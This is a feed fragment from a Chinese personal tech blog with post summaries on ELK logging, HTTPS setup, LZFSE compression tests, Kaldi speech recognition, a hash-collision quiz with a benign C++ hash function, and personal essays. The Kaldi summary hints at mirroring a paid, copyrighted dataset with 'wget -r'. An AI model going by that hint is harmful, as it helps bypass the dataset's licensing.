// // 可能以后也不会想回去了 //</description></item><item><title>ELK+Redis 最佳实践</title><link>https://changkun.de/blog/posts/elk-redis-best-practice/</link><pubDate>Sun, 17 Jul 2016 16:28:33 +0000</pubDate><guid>https://changkun.de/blog/posts/elk-redis-best-practice/</guid><description>&lt;p>上个月老板让我搭一个日志分析系统，选用了 ELK 作为技术栈，网上的文章较为混乱，前期刚接触的时候查资料踩了很多坑，所以根据我总共一个星期的接触（包括安装和后期运维），大致总结一下我个人的最佳实践。&lt;/p>
&lt;p>本文主要内容为：&lt;/p>
&lt;ul>
&lt;li>&lt;a href="">架构逻辑&lt;/a>&lt;/li>
&lt;li>&lt;a href="">安装&lt;/a>&lt;/li>
&lt;li>&lt;a href="">配置&lt;/a>&lt;/li>
&lt;li>&lt;a href="">Docker 方案&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>这张图相信足以证明 ELK Stack 的强大之处了：&lt;/p>
&lt;p>&lt;img src="1.png" alt="">&lt;/p>
&lt;h2 id="架构逻辑">架构逻辑&lt;/h2>
&lt;p>&lt;strong>E&lt;/strong>(lasticsearch) &lt;strong>L&lt;/strong>(ogstash) &lt;strong>K&lt;/strong>(ibana) 本身这里并不做过多介绍。&lt;/p>
&lt;p>值得一提的是，为了让整个系统更好的分层，是非常建议引入 Redis 的。Redis 作为一个缓存，能够帮助我们在主节点上屏蔽掉多个从节点之间不同日志文件的差异，负责管理日志端（从节点）的人可以专注于向 Redis 里生产数据，而负责数据分析聚合端的人则可以专注于从 Redis 内消费数据。&lt;/p>
&lt;p>同时，Kibana 本身并不具备访问限制，这不是我们期望的，因此可以用考虑用 Nginx 做一层反向代理，并做身份验证。&lt;/p>
&lt;p>综上所述，整个 ELK 的架构应该是下图所示的样子：&lt;/p>
&lt;p>&lt;img src="2.png" alt="">&lt;/p></description></item><item><title>终于全面启用了 HTTPS</title><link>https://changkun.de/blog/posts/all-in-https/</link><pubDate>Sat, 16 Jul 2016 18:35:39 +0000</pubDate><guid>https://changkun.de/blog/posts/all-in-https/</guid><description>经历过这次迁移，我的博客站点算是维护过四次之多了。这个博客最初诞生的时候是部署在一个网友的服务器上的，第一次上线的时候还是一个 Wordpress 的站点。后来因为想弄到自己的服务器上，就搬了出来。随后了解到了 Hexo，就干脆整个迁移到 GitHub 上。而这次，却又从 GitHub 上迁移回个人的服务器，算是折腾了好大一圈。估计这次迁移后，就不会再有太大改动了。
这次迁搬出来后主要维护了以下几点：
将服务器系统从 CentOS 更改为 Ubuntu 将博客的整体主题做了更换 关闭了原有的博客站点 强制使用 HTTPS 访问本站 从 GitHub 迁移到自己的服务器上 下面来依次谈谈这几点维护的原因。
从 CentOS 更换到 Ubuntu 以前整个站点用的 LNMP 的架构，因为第一版的博客是使用 Wordpress 搭建的，第一次接触 Linux，就是接触的 CentOS。但随着时间的推移，我个人接触更多的反而是 Ubuntu，索性这次搬迁，全部做一次规整了。
博客整体主题做了更换 博客的主题使用的是 Hexo Next，在页面的 Footer 处我也保留了主题的链接，如果对这个主题感兴趣，可以点过去。
主题做了很多修改，最明显的修改就是可以看到博客的背景上有 一个粒子特效。
有不少人来信问我是怎么做到的，其实并不复杂，GitHub 上面有一个项目叫做 ParticlesJS。
有兴趣的可以自己研究一下。还有一些修改，比如底部 Footer 的修改，菜单栏的修改等等。由于只是一些符合自己品味的优化，这里就不做详细说明了。
关闭了原有的博客站点 最初的时候脑子被门挤了，注册了个 euryugasaki.com 的域名，则根本不可能有人记得住啊。但是这个长得恶心的域名还是被我上线了三年左右的时间，一些我留下过痕迹的地方，都有这个域名在。
而恰好，这个域名还是在国内的服务商里购买的。保不准那一天挂了，就完蛋了。所以后来就注册了几个好记的域名：changkun.us。并且，我决定以后一直用这几个域名而再不更换了。
强制使用 HTPPS 访问本站 从去年开始，我就一直想要将整个博客部署成 HTTPS 站点，当时也只是随便一搜发现证书还得花钱，对于我这种个人网站，是很不地道的。
直到最近，几经周折，总算找到一个比较满意的证书提供商，StartSSL。
制作证书非常方便，假设在 /etc/nginx/ssl/ 目录下：
1 $ sudo openssl req -newkey rsa:2048 -keyout server.</description></item><item><title>苹果开源了LZFSE无损压缩</title><link>https://changkun.de/blog/posts/apple-released-lzfse/</link><pubDate>Mon, 11 Jul 2016 13:11:39 +0000</pubDate><guid>https://changkun.de/blog/posts/apple-released-lzfse/</guid><description>开源地址：https://github.com/lzfse/lzfse
苹果开源了新的无损压缩算法 LZFSE ，该算法是去年在iOS 9和OS X 10.10中引入 的。按照苹果公司的说法，LZFE的压缩增益和ZLib level 5相同，但速度要快2~3倍，能源效率也更高。
所以，马上找来测试与 zip 的情况 PK 一下，感觉无论从压缩速度还是压缩率来说都有点差强人意，说好的速度更快能源效率利用率更高呢？
文件1: 2014data.csv
文件大小: 83.5 MB
zip 压缩大小: 7.3 MB
lzfse 压缩大小: 9.2 MB
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ time zip test.zip 2014data.csv -v updating: 2014data.csv ....... (in=83523458) (out=7286164) (deflated 91%) total bytes=83523458, compressed=7286164 -&amp;gt; 91% savings zip test.zip 2014data.</description></item><item><title>Hash 碰撞的一种思路</title><link>https://changkun.de/blog/posts/hash-%E7%A2%B0%E6%92%9E%E7%9A%84%E4%B8%80%E7%A7%8D%E6%80%9D%E8%B7%AF/</link><pubDate>Sat, 09 Jul 2016 14:12:33 +0000</pubDate><guid>https://changkun.de/blog/posts/hash-%E7%A2%B0%E6%92%9E%E7%9A%84%E4%B8%80%E7%A7%8D%E6%80%9D%E8%B7%AF/</guid><description>&lt;p>今天在熊猫 TV 上看乌云白帽子大会，下面有三道互动的题目挺有意思的。&lt;/p>
&lt;p>前面两题都很简单，第一题是解一个莫斯电码、第二题答案很简单，但是要提交答案需要在网页源码上懂点手脚。&lt;/p>
&lt;p>第三题是重头戏，不过难度也不高，题目如下：&lt;/p>
&lt;p>&lt;img src="1.png" alt="">&lt;/p>
&lt;p>第三题每个人的答案都不一样，图片里被我划掉的这部分是我的用户名（手机号） K。&lt;/p>
&lt;p>红色部分的一串数字就是经过上面的 DEKHash 算出的结果，所以题意就很明显了，找到 &lt;code>K'&lt;/code> 使得 &lt;code>DEKHash(K') == DEKHash(K)&lt;/code>。&lt;/p>
&lt;p>题目中给出的是 Java 代码，我作为 Java 黑，显然是不能忍受的，所以弄成了 C++的版本：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-cpp" data-lang="cpp">&lt;span class="kt">long&lt;/span> &lt;span class="nf">DEKHash&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">string&lt;/span> &lt;span class="n">str&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="kt">long&lt;/span> &lt;span class="n">hash&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">str&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">length&lt;/span>&lt;span class="p">();&lt;/span>
&lt;span class="k">for&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">int&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">str&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">length&lt;/span>&lt;span class="p">();&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;span class="n">hash&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">hash&lt;/span>&lt;span class="o">&amp;lt;&amp;lt;&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">hash&lt;/span>&lt;span class="o">&amp;gt;&amp;gt;&lt;/span>&lt;span class="mi">27&lt;/span>&lt;span class="p">))&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="n">str&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">at&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">);&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;span class="k">return&lt;/span> &lt;span class="n">hash&lt;/span>&lt;span class="p">;&lt;/span>
&lt;span class="p">}&lt;/span>
&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>下面来看我是怎么寻找这样的 &lt;code>K'&lt;/code>。&lt;/p></description></item><item><title>记一次完整的 Kaldi-TIMIT 示例运行</title><link>https://changkun.de/blog/posts/kaldi-timit-example2/</link><pubDate>Sun, 05 Jun 2016 11:56:48 +0000</pubDate><guid>https://changkun.de/blog/posts/kaldi-timit-example2/</guid><description>&lt;p>整个例子从 &lt;code>Sat Jun 4 22:45:55 CST 2016&lt;/code> 开始，于 &lt;code>Sun Jun 5 11:16:53 CST 2016&lt;/code> 结束，共经历约 12 个小时。&lt;/p>
&lt;p>在 TIMIT 的代码中，一共分为了以下几个示例：&lt;/p>
&lt;ol>
&lt;li>数据预处理；&lt;/li>
&lt;li>MFCC 特征提取 &amp;amp; 训练集和测试集的 CMVN，这里只提取了 MFCC，Kaldi 里支持 MFCC，PLP，PITCH；&lt;/li>
&lt;li>单音树训练和解码，是语音识别最基础的部分&lt;/li>
&lt;li>三音素的训练和解码（Deltas + Delta-Deltas）&lt;/li>
&lt;li>三音素模型基础上做了LDA + MLLT变换的训练和解码&lt;/li>
&lt;li>三音素模型基础上做了LDA + MLLT +SAT变换的训练和解码&lt;/li>
&lt;li>三音素模型基础上做了SGMM2的训练和解码，SGMM2是povey 提出的&lt;/li>
&lt;li>三音素模型基础上做了 MMI + SGMM2 的训练和解码&lt;/li>
&lt;li>DNN 混合训练和解码（povey 版本模型，看网上说不建议使用？）&lt;/li>
&lt;li>系统融合(DNN+SGMM)&lt;/li>
&lt;li>Karel DNN 通用深度学习模型的训练和解码&lt;/li>
&lt;li>获取结果&lt;/li>
&lt;/ol></description></item><item><title>Kaldi 上的 TIMIT 例子</title><link>https://changkun.de/blog/posts/kaldi-timit-example/</link><pubDate>Sat, 04 Jun 2016 14:14:39 +0000</pubDate><guid>https://changkun.de/blog/posts/kaldi-timit-example/</guid><description>&lt;p>Kaldi 上提供了很多例子让我们学习，这里有一个 Kaldi 上提供例子的列表：&lt;/p>
&lt;p>&lt;a href="http://kaldi-asr.org/doc/examples.html">http://kaldi-asr.org/doc/examples.html&lt;/a>&lt;/p>
&lt;p>但是大部分的数据库来源于LDC，并且需要成为会员才能下载。&lt;/p>
&lt;p>我们这里使用一个叫做 TIMIT 的例子，当然他也是需要付费才能使用的数据集。&lt;/p>
&lt;p>然而幸运的是我们可以在这个链接里找到所有的内容：&lt;/p>
&lt;p>&lt;a href="http://www.fon.hum.uva.nl/david/ma_ssp/2007/TIMIT/">http://www.fon.hum.uva.nl/david/ma_ssp/2007/TIMIT/&lt;/a>&lt;/p>
&lt;p>因为版权问题我不准备提供直接下载的链接，但是我作为老司机可以指一条路：&lt;code>wget -r&lt;/code>，剩下的就看你自己的造化了。&lt;/p>
&lt;p>数据拿到后，目录下会多出很多 &lt;code>.html&lt;/code> 的文件。我这里写了一个脚本用于删除这些多余的文件，并将小写目录转换成大写目录（在 Kaldi 的 TIMIT 脚本中写出的目录都是大写的）：&lt;/p></description></item><item><title>Kaldi 安装与部署</title><link>https://changkun.de/blog/posts/install-kaldi/</link><pubDate>Sat, 04 Jun 2016 12:45:47 +0000</pubDate><guid>https://changkun.de/blog/posts/install-kaldi/</guid><description>&lt;p>Kaldi 是一个用于语音识别的开发平台（工具包），目前已经较为成熟，而且文档很多。&lt;/p>
&lt;p>本文提供一个 Kaldi 在 Mac OS X 10.11。5 下的安装教程，如果你用 Windows，请买一台 Mac。&lt;/p>
&lt;h2 id="下载源码">下载源码&lt;/h2>
&lt;p>Kaldi 在 Github 上开源，我们应该直接下载他最新的源码执行编译。&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">git clone https://github.com/kaldi-asr/kaldi
&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="编译">编译&lt;/h2>
&lt;p>编译这种大型框架不应该去互联网上搜索任何安装教程，而是应该阅读官方的安装教程。（那我写这篇文章干嘛呢…(╯‵□′)╯︵┻━┻&lt;/p></description></item><item><title>从科研写作谈起</title><link>https://changkun.de/blog/posts/%E4%BB%8E%E7%A7%91%E7%A0%94%E5%86%99%E4%BD%9C%E8%B0%88%E8%B5%B7/</link><pubDate>Tue, 24 May 2016 14:45:36 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BB%8E%E7%A7%91%E7%A0%94%E5%86%99%E4%BD%9C%E8%B0%88%E8%B5%B7/</guid><description>&lt;h2 id="目录">目录&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#1">写在前面的话&lt;/a>&lt;/li>
&lt;li>&lt;a href="#2">科研创意的来源&lt;/a>&lt;/li>
&lt;li>&lt;a href="#3">准备篇&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#3-1">主题的选取&lt;/a>&lt;/li>
&lt;li>&lt;a href="#3-2">确定论文的类型&lt;/a>&lt;/li>
&lt;li>&lt;a href="#3-3">提出论点&lt;/a>&lt;/li>
&lt;li>&lt;a href="#3-4">会议投稿&lt;/a>&lt;/li>
&lt;li>&lt;a href="#3-5">期刊投稿&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#4">写作篇&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#4-1">写作动机&lt;/a>&lt;/li>
&lt;li>&lt;a href="#4-2">写作阶段&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#5">工具篇&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#5-1">写作工具&lt;/a>&lt;/li>
&lt;li>&lt;a href="5-2">版本控制和存储&lt;/a>&lt;/li>
&lt;li>&lt;a href="#5-3">文献工具&lt;/a>&lt;/li>
&lt;li>&lt;a href="#5-4">图表工具&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#6">后记&lt;/a>&lt;/li>
&lt;li>&lt;a href="#7">进一步阅读的文献&lt;/a>&lt;/li>
&lt;/ul>
&lt;a name="1"/>
## 写在前面的话
&lt;p>马上就要进入研究生阶段了，本科的最后一个学期很多人问我为什么不直接找工作，而是选择继续读研。这里面有两个原因：&lt;/p>
&lt;ol>
&lt;li>喜欢做研究，可以说我读研的最根本目的就是搞研究、做科研；&lt;/li>
&lt;li>学历不补回来，这个算作是次要目的，那就是提高自己的学历。&lt;/li>
&lt;/ol>
&lt;p>总的来说，我个人的想法就是：一辈子只有一次机会，钱什么时候都可以赚，但错过了深造的机会，就一切都不可挽回了。&lt;/p>
&lt;p>作为整个大学阶段的总结，我决定写一系列文章来总结我在大学中学到的一些科研经验和心得，并以此激励我在日后的路上发表更多更有价值的论文。&lt;/p></description></item><item><title>Swift API 设计指南</title><link>https://changkun.de/blog/posts/swift-api-design-guidelines/</link><pubDate>Wed, 11 May 2016 18:27:55 +0000</pubDate><guid>https://changkun.de/blog/posts/swift-api-design-guidelines/</guid><description>&lt;blockquote>
&lt;p>原文链接：&lt;a href="https://swift.org/documentation/api-design-guidelines/">https://swift.org/documentation/api-design-guidelines/&lt;/a>&lt;/p>
&lt;p>译者：&lt;a href=".de">Changkun Ou&lt;/a>&lt;/p>
&lt;p>2016-05-11 初稿&lt;/p>
&lt;p>&lt;strong>本文未经授权禁止转载&lt;/strong>&lt;/p>
&lt;/blockquote>
&lt;h2 id="目录">目录&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#%E7%9B%AE%E5%BD%95">目录&lt;/a>&lt;/li>
&lt;li>&lt;a href="#%E5%9F%BA%E6%9C%AC%E5%87%86%E5%88%99">基本准则&lt;/a>&lt;/li>
&lt;li>&lt;a href="#%E5%91%BD%E5%90%8D">命名&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#%E6%98%8E%E7%A1%AE%E7%94%A8%E6%B3%95">明确用法&lt;/a>&lt;/li>
&lt;li>&lt;a href="#%E4%B8%BA%E4%BD%BF%E7%94%A8%E8%88%92%E9%80%82%E8%80%8C%E5%8A%AA%E5%8A%9B">为使用舒适而努力&lt;/a>&lt;/li>
&lt;li>&lt;a href="#%E5%90%88%E7%90%86%E4%BD%BF%E7%94%A8%E6%9C%AF%E8%AF%AD">合理使用术语&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#%E7%BA%A6%E5%AE%9A">约定&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#%E4%B8%80%E8%88%AC%E7%BA%A6%E5%AE%9A">一般约定&lt;/a>&lt;/li>
&lt;li>&lt;a href="#%E5%BD%A2%E5%8F%82">形参&lt;/a>&lt;/li>
&lt;li>&lt;a href="#%E5%AE%9E%E5%8F%82%E6%A0%87%E7%AD%BE">实参标签&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#%E7%89%B9%E6%AE%8A%E8%AF%B4%E6%98%8E">特殊说明&lt;/a>&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>译者注：&lt;/p>
&lt;p>Argument 和 Parameter 两个词在很多文献中均翻译为参数，这是一个历史遗留问题。&lt;/p>
&lt;p>但实际上 Argument 专用于 Actual Argument（实际参数，实参），Parameter 专用于 Formal Parameter（形式参数，形参）。&lt;/p>
&lt;p>本译文在上下文没有歧义的情况下均翻译为参数，在其他情况下使用实参和形参来对 Argument 和 Parameter 加以区分。&lt;/p>
&lt;p>&lt;strong>进一步阅读&lt;/strong>：&lt;a href="http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1124.pdf">ISO/IEC 9899&lt;/a> - 在这份标准中，第 3 页的 actual parameter 和第 6 页的 formal argument 两种说法均被弃用。&lt;/p>
&lt;/blockquote></description></item><item><title>有趣的人类</title><link>https://changkun.de/blog/posts/%E6%9C%89%E8%B6%A3%E7%9A%84%E4%BA%BA%E7%B1%BB/</link><pubDate>Fri, 15 Apr 2016 14:59:34 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%9C%89%E8%B6%A3%E7%9A%84%E4%BA%BA%E7%B1%BB/</guid><description>中国人对于这种坐下来玩玩手表、动动手指然后填两张表就拿钱的方式还是很不习惯的？居然还死活不肯收…
此外，德国人还是很欣然接受的，可能是小费拿惯了？
Human, interesting. :)</description></item><item><title>所以其实论文并没有什么鬼用</title><link>https://changkun.de/blog/posts/%E6%89%80%E4%BB%A5%E5%85%B6%E5%AE%9E%E8%AE%BA%E6%96%87%E5%B9%B6%E6%B2%A1%E6%9C%89%E4%BB%80%E4%B9%88%E9%AC%BC%E7%94%A8/</link><pubDate>Fri, 15 Apr 2016 01:17:33 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%89%80%E4%BB%A5%E5%85%B6%E5%AE%9E%E8%AE%BA%E6%96%87%E5%B9%B6%E6%B2%A1%E6%9C%89%E4%BB%80%E4%B9%88%E9%AC%BC%E7%94%A8/</guid><description>最近看到个题，说是，一个人患某个病的概率是 $1%$ ，现在有某个仪器可以检测患这种病的人，但是正确率只有 $99%$ 。问如果某人被检测出患这种病，那么他真正患这种病的概率是多少呢？
这个问题很有意思，我们可以简单更改一下问题的环境，就能找到做科研的价值到底几何。
假设科学事实被发现这个事件为$A$，其发生的概率是$a$，科学家做研究能够发现这个科学事实，这个事件记为为$B$，但是其正确率$P(B|A)$只有$b$。那么问： 在一个科学家声称其发现了某个科学事实的情况下，那么其真正发现科学事实的概率是多少呢？
这个问题只要学过一点概率的人都能算出来，首先 原文题的概率其实是一个条件概率，因为根据贝叶斯公式：
$$ P(A丨B)=\frac{P(AB)}{P(B)} $$
而
$$ P(B)=P(A)P(B|A)+P(\bar A)P(B | \bar A) =ab+(1-a)(1-b) = 2ab+1-a-b $$
所以： 科学事实真正被发现的概率是：$\frac{ab}{(2ab+1-a-b)}$
如果我们假设 $a=0.01$（这是被放大了的，因为科学事实很难被发现）$b=0.99$（这也是被放大了的，因为我们连学术道德都忽略了），很容易算出，这个概率只有$50%$。
当科学事实的发现概率固定时，这个函数在0至1的开区间内递增。
所以，学术垃圾在以至少大于$50%$的概率产生。
而我，就是其中之一。
深入阅读
Scientific Regress： http://www.firstthings.com/article/2016/05/scientific-regress</description></item><item><title>所以其实论文并没有什么鬼用</title><link>https://changkun.de/blog/posts/%E6%89%80%E4%BB%A5%E5%85%B6%E5%AE%9E%E8%AE%BA%E6%96%87%E5%B9%B6%E6%B2%A1%E6%9C%89%E4%BB%80%E4%B9%88%E9%AC%BC%E7%94%A8/</link><pubDate>Thu, 14 Apr 2016 19:17:47 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%89%80%E4%BB%A5%E5%85%B6%E5%AE%9E%E8%AE%BA%E6%96%87%E5%B9%B6%E6%B2%A1%E6%9C%89%E4%BB%80%E4%B9%88%E9%AC%BC%E7%94%A8/</guid><description>最近看到个题，说是，一个人患某个病的概率是1%，现在有某个仪器可以检测患这种病的人，但是正确率只有99%。问如果某人被检测出患这种病，那么他真正患这种病的概率是多少呢？
这个问题很有意思，我们可以简单更改一下问题的环境，就能找到做科研的价值到底几何。
假设科学事实被发现这个事件为 A，其发生的概率是 a，科学家做研究能够发现这个科学事实，这个事件记为为 B，但是其正确率 $P(B|A)$ 只有 b。那么问： 在一个科学家声称其发现了某个科学事实的情况下，那么其真正发现科学事实的概率是多少呢？
这个问题只要学过一点概率的人都能算出来，首先 原文题的概率其实是一个条件概率，因为根据贝叶斯公式：
$$ P(A丨B)=\frac{P(AB)}{P(B)} P(B)=P(A)P(B|A)+P(\bar{A})P(B|\bar{A}) =ab+(1-a)(1-b)=2ab+1-a-b $$
所以： 科学事实真正被发现的概率是：$\frac{ab}{2ab+1-a-b}$
如果我们假设a=0.01（这是被放大了的，因为科学事实很难被发现）$b=0.99$（这也是被放大了的，因为我们连学术道德都忽略了），很容易算出，这个概率只有50%。
当科学事实的发现概率固定时，这个函数在0至1的开区间内递增。
所以，学术垃圾在以至少大于50%的概率产生。
而我，就是其中之一。
深入阅读
Scientific Regress：http://www.firstthings.com/article/2016/05/scientific-regress</description></item><item><title>Githug 通关记录及指南</title><link>https://changkun.de/blog/posts/githug-record/</link><pubDate>Sat, 20 Feb 2016 19:06:55 +0000</pubDate><guid>https://changkun.de/blog/posts/githug-record/</guid><description>&lt;p>好吧，找到了一个和 git 有关的游戏：
&lt;a href="https://github.com/Gazler/githug">https://github.com/Gazler/githug&lt;/a>&lt;/p>
&lt;p>遂玩之&amp;hellip; 挺有意思的..&lt;/p>
&lt;h2 id="安装">安装&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">➜ ~/Downloads sudo gem install githug
Password:
Fetching: mime-types-1.25.1.gem &lt;span class="o">(&lt;/span>100%&lt;span class="o">)&lt;/span>
Successfully installed mime-types-1.25.1
Fetching: diff-lcs-1.2.5.gem &lt;span class="o">(&lt;/span>100%&lt;span class="o">)&lt;/span>
Successfully installed diff-lcs-1.2.5
Fetching: grit-2.3.0.gem &lt;span class="o">(&lt;/span>100%&lt;span class="o">)&lt;/span>
Successfully installed grit-2.3.0
Fetching: thor-0.14.6.gem &lt;span class="o">(&lt;/span>100%&lt;span class="o">)&lt;/span>
Successfully installed thor-0.14.6
Fetching: githug-0.4.6.gem &lt;span class="o">(&lt;/span>100%&lt;span class="o">)&lt;/span>
Successfully installed githug-0.4.6
Parsing documentation &lt;span class="k">for&lt;/span> mime-types-1.25.1
Installing ri documentation &lt;span class="k">for&lt;/span> mime-types-1.25.1
Parsing documentation &lt;span class="k">for&lt;/span> diff-lcs-1.2.5
Installing ri documentation &lt;span class="k">for&lt;/span> diff-lcs-1.2.5
Parsing documentation &lt;span class="k">for&lt;/span> grit-2.3.0
Installing ri documentation &lt;span class="k">for&lt;/span> grit-2.3.0
Parsing documentation &lt;span class="k">for&lt;/span> thor-0.14.6
Installing ri documentation &lt;span class="k">for&lt;/span> thor-0.14.6
Parsing documentation &lt;span class="k">for&lt;/span> githug-0.4.6
Installing ri documentation &lt;span class="k">for&lt;/span> githug-0.4.6
&lt;span class="m">5&lt;/span> gems installed
&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>小结一下这学期的收获</title><link>https://changkun.de/blog/posts/%E5%B0%8F%E7%BB%93%E4%B8%80%E4%B8%8B%E8%BF%99%E5%AD%A6%E6%9C%9F%E7%9A%84%E6%94%B6%E8%8E%B7/</link><pubDate>Sun, 14 Feb 2016 19:06:55 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%B0%8F%E7%BB%93%E4%B8%80%E4%B8%8B%E8%BF%99%E5%AD%A6%E6%9C%9F%E7%9A%84%E6%94%B6%E8%8E%B7/</guid><description>&lt;p>后天就要结束最后一门考试了，复习之余小结一下这学期的收获好了：&lt;/p>
&lt;ul>
&lt;li>这学期一共选了六门课，最后一共决定三门参加考试（有一门考试在三月那实在是没办法参加了…），做了一份 research internship，已经累挂了。&lt;/li>
&lt;li>选了课有：
&lt;ul>
&lt;li>&lt;strong>Human Computer Interaction 2&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Online Multimedia&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Information Visualization&lt;/strong>&lt;/li>
&lt;li>&lt;strong>SAT Solving&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Parallel Computing&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Big Data Management&lt;/strong>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>参加考试的课有：
&lt;ul>
&lt;li>&lt;strong>Human Computer Interaction 2&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Online Multimedia&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Information Visualization&lt;/strong>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>2015 读书清单</title><link>https://changkun.de/blog/posts/2015-reading/</link><pubDate>Wed, 23 Dec 2015 21:22:55 +0000</pubDate><guid>https://changkun.de/blog/posts/2015-reading/</guid><description>做完晚饭，在电脑前琢么着干些什么，一想到马上就要到明天就是平安夜了，本打算写年终总结，但又觉得明后两天就是头一回过真正意义上的圣诞节了，应该还会有新的感受倒不如过段时间再写。
所以按照惯例，我就把这一年中我读过书的清单列出来。技术类的书就不说了，毕竟那些书并不『有趣』。
变化是，这一年里大部分书都是在Kindle上完成的，至少我现在已经习惯了在Kindle上完成读完整部书的体验。
上半年读的书时间有点长，如果不是看我记下来的清单我都几乎快要忘记其中的几本讲了些啥。
下半年来了德国之后读的书瞬间变少，好惭愧的样子。
上半年（九月前）：
《偶发空缺》J.K. Rowling著 推荐理由：我是JK罗琳的老粉丝了，以前看哈利波特，这陪伴了我整个童年。后来偶发空缺这本书出来后，我一直都没时间看，直到今年才在Kindle上买了这本书读，读这本书很能够锻炼人的性子，因为人物太多，名字也是对我们中国人非常疲劳的。同时人物关系也错综复杂，如果没有耐心几乎不太可能把这本书读下来。
《呼兰河传》萧红著 推荐理由：在电影院看过萧红的纪录片《黄金时代》（不是下面王小波的那本黄金时代，只是同名而已），后来就一直想读一读萧红的文字，这本书在电影里也反复提到。满天星光，满屋月亮，人生何如，为什么如此悲凉？
《朝花夕拾》鲁迅著 推荐理由：经典就不说了，其实我高中时期读过一次，显然并没有悟出个什么东西，这次重读我最喜欢的一篇其实是《琐记》。
《历史转折中的邓小平》龙平平等著 推荐理由：对，没错…看完电视剧之后读的这本书。
